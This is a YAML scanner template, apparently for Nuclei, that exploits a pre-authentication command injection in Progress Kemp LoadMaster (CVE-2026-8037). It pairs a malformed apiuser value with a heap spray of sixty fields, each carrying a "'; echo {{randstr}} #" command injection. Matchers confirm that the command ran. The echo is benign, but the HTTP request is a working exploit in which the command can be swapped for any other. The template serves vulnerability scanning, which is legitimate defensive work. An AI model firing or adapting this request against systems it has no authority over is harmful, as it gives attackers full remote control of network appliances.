id: CVE-2026-8037-poc

info:
  name: Progress ADC LoadMaster - Pre-Auth RCE (PoC)
  author: watchtowr,SinSinology
  description: |
    CVE-2026-8037 PoC — 利用未初始化堆内存漏洞在 Progress Kemp LoadMaster 上
    执行任意命令。通过 apiuser="''''" 触发 escape_quotes() 未 null 终止缺陷，
    配合堆喷射将命令注入到相邻堆块，最终被 system() 执行。
    本 PoC 通过 echo 20位随机字符串验证命令执行。
  severity: critical
  impact: |
    Unauthenticated attackers can execute arbitrary commands on the LoadMaster appliance,
    potentially leading to full system compromise.
  remediation: |
    Update to GA v7.2.63.2 or LTSF v7.2.54.18+.
  reference:
    - https://labs.watchtowr.com/enterprise-tech-in-shell-out-progress-kemp-loadmaster-uninitialized-heap-to-pre-auth-rce-cve-2026-8037/
    - https://community.progress.com/s/article/LoadMaster-Critical-Security-Bulletin-June-2026-CVE-2026-8037-CVE-2026-33691
    - https://www.zerodayinitiative.com/advisories/ZDI-26-342/
  metadata:
    max-request: 1
    verified: false
    poc-command: "echo {{randstr}}"
  tags: cve,cve2026,loadmaster,progress,rce,poc

http:
  - raw:
      - |
        POST /accessv2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: */*

        {"cmd": "getall", "apiuser": "''''", "apipass": "BBBBB", "g0": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g1": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g2": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g3": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g4": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g5": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g6": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g7": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g8": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g9": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g10": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g11": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g12": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g13": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g14": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g15": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g16": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g17": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g18": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g19": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g20": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g21": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g22": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g23": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g24": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g25": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g26": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g27": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g28": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g29": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g30": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g31": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g32": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g33": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g34": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g35": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g36": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g37": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g38": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g39": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g40": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g41": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g42": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g43": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g44": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g45": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g46": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g47": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g48": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g49": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g50": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g51": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g52": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g53": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g54": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g55": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g56": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g57": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g58": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g59": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #", "g60": "AAAAAAAAAAAAAAAA'; echo {{randstr}} #"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{randstr}}"

      - type: status
        status:
          - 200